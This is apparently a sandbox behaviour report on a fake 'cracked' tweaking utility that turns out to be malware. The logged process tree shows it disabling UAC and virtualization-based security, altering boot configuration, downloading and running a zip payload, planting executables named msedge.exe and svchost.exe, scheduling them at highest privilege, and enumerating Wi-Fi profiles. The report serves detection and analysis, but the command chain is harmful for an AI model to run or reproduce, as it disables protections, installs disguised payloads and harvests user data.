PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe
PID 4552 wrote to memory of 4368	4552	msedge.exe	msedge.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
cURL User-Agent 2 IoCs
Uses User-Agent string associated with cURL utility.

Processes:

description flow ioc

HTTP User-Agent header 155 curl/8.7.1
HTTP User-Agent header 153 curl/8.7.1

description	flow	ioc
HTTP User-Agent header	155	curl/8.7.1
HTTP User-Agent header	153	curl/8.7.1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument C:\Users\Admin\AppData\Local\Temp\EXM_Premium_Tweaking_Utility_1.0_Cracked.html
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffe957b46f8,0x7ffe957b4708,0x7ffe957b4718
  2⤵
  PID:4508
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2196 /prefetch:2
  2⤵
  PID:1152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2656 /prefetch:8
  2⤵
  PID:4368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
  2⤵
  PID:2764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
  2⤵
  PID:4016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4760 /prefetch:1
  2⤵
  PID:3456
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4672 /prefetch:1
  2⤵
  PID:4724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5668 /prefetch:1
  2⤵
  PID:4460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5956 /prefetch:1
  2⤵
  PID:3080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5148 /prefetch:1
  2⤵
  PID:5104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6388 /prefetch:8
  2⤵
  PID:4796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5856 /prefetch:1
  2⤵
  PID:5116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6900 /prefetch:8
  2⤵
  PID:5048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6660 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2112
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6248 /prefetch:8
  2⤵
  PID:1460
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
  2⤵
  - Drops file in Program Files directory
  PID:4188
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x248,0x24c,0x250,0x224,0x254,0x7ff67e825460,0x7ff67e825470,0x7ff67e825480
    3⤵
    PID:4128
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6248 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6120 /prefetch:1
  2⤵
  PID:5032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6088 /prefetch:1
  2⤵
  PID:5328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7880 /prefetch:1
  2⤵
  PID:5336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7884 /prefetch:1
  2⤵
  PID:5344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6060 /prefetch:1
  2⤵
  PID:5352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8064 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7296 /prefetch:8
  2⤵
  PID:5504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4868 /prefetch:1
  2⤵
  PID:5708
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6972 /prefetch:1
  2⤵
  PID:5716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7480 /prefetch:1
  2⤵
  PID:5252
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4884 /prefetch:1
  2⤵
  PID:5296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5136 /prefetch:1
  2⤵
  PID:564
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7144 /prefetch:1
  2⤵
  PID:5628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3532 /prefetch:1
  2⤵
  PID:5616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6156 /prefetch:1
  2⤵
  PID:5672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6540 /prefetch:1
  2⤵
  PID:5676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7828 /prefetch:1
  2⤵
  PID:5392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4184 /prefetch:1
  2⤵
  PID:2956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2084,16824941738369061451,6866354018295071517,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6404 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat" "
  2⤵
  PID:5568
- - C:\Windows\system32\reg.exe
    Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
    3⤵
    PID:5608
- - C:\Windows\system32\reg.exe
    Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
    3⤵
    PID:5528
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
    3⤵
    PID:5348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5616
- - C:\Windows\system32\reg.exe
    Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
    3⤵
    - UAC bypass
    PID:5856
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
    3⤵
    PID:5880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
    3⤵
    PID:5848
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path Win32_UserAccount where name="Admin" get sid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5844
  - - C:\Windows\system32\findstr.exe
      findstr "S-"
      4⤵
      PID:2828
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4656
- - C:\Windows\system32\chcp.com
    chcp 437
    3⤵
    PID:5316
- - C:\Windows\system32\curl.exe
    curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
    3⤵
    PID:4704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5720
- - C:\exm\EXMservice.exe
    EXMservice.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:644
  - - C:\Users\Admin\msedge.exe
      "C:\Users\Admin\msedge.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:6004
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5628
  - - C:\Users\Admin\svchost.exe
      "C:\Users\Admin\svchost.exe"
      4⤵
      Executes dropped EXE
      Drops desktop.ini file(s)
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5848
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5884
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5276
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5304
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4716
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:548
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2392
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show networks mode=bssid
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:1452
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:3524
- - C:\Windows\system32\timeout.exe
    timeout 2
    3⤵
    - Delays execution with timeout.exe
    PID:5480
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\System\CurrentControlSet\Services\VxD\BIOS" /v "CPUPriority" /t REG_DWORD /d "1" /f
    3⤵
    PID:4408
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\System\CurrentControlSet\Services\VxD\BIOS" /v "FastDRAM" /t REG_DWORD /d "1" /f
    3⤵
    PID:3164
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\System\CurrentControlSet\Services\VxD\BIOS" /v "AGPConcur" /t REG_DWORD /d "1" /f
    3⤵
    PID:4584
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\System\CurrentControlSet\Services\VxD\BIOS" /v "CPUPriority" /t REG_DWORD /d "1" /f
    3⤵
    PID:1332
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\System\CurrentControlSet\Services\VxD\BIOS" /v "FastDRAM" /t REG_DWORD /d "1" /f
    3⤵
    PID:5788
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\System\CurrentControlSet\Services\VxD\BIOS" /v "PCIConcur" /t REG_DWORD /d "1" /f
    3⤵
    PID:5328
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5760
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set tscsyncpolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5248
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1788
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set hypervisorlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5632
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5448
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set linearaddress57 OptOut
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5520
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set increaseuserva 268435328
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5956
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5184
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set isolatedcontext No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5040
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set allowedinmemorysettings 0x0
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:980
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5604
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set vsmlaunchtype Off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5664
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set vm No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3064
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\Software\Policies\Microsoft\FVE" /v "DisableExternalDMAUnderLock" /t REG_DWORD /d "0" /f
    3⤵
    PID:1636
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\Software\Policies\Microsoft\Windows\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d "0" /f
    3⤵
    PID:5536
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\Software\Policies\Microsoft\Windows\DeviceGuard" /v "HVCIMATRequired" /t REG_DWORD /d "0" /f
    3⤵
    PID:4788
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1936
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set x2apicpolicy Enable
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5724
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set uselegacyapicmode No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5372
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3664
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set configaccesspolicy Default
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3692
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set MSI Default
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5564
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set usephysicaldestination No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4388
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set usefirmwarepcisettings No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5872
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1712
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "EnableTransparency" /t REG_DWORD /d "0" /f
    3⤵
    PID:2644
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1844
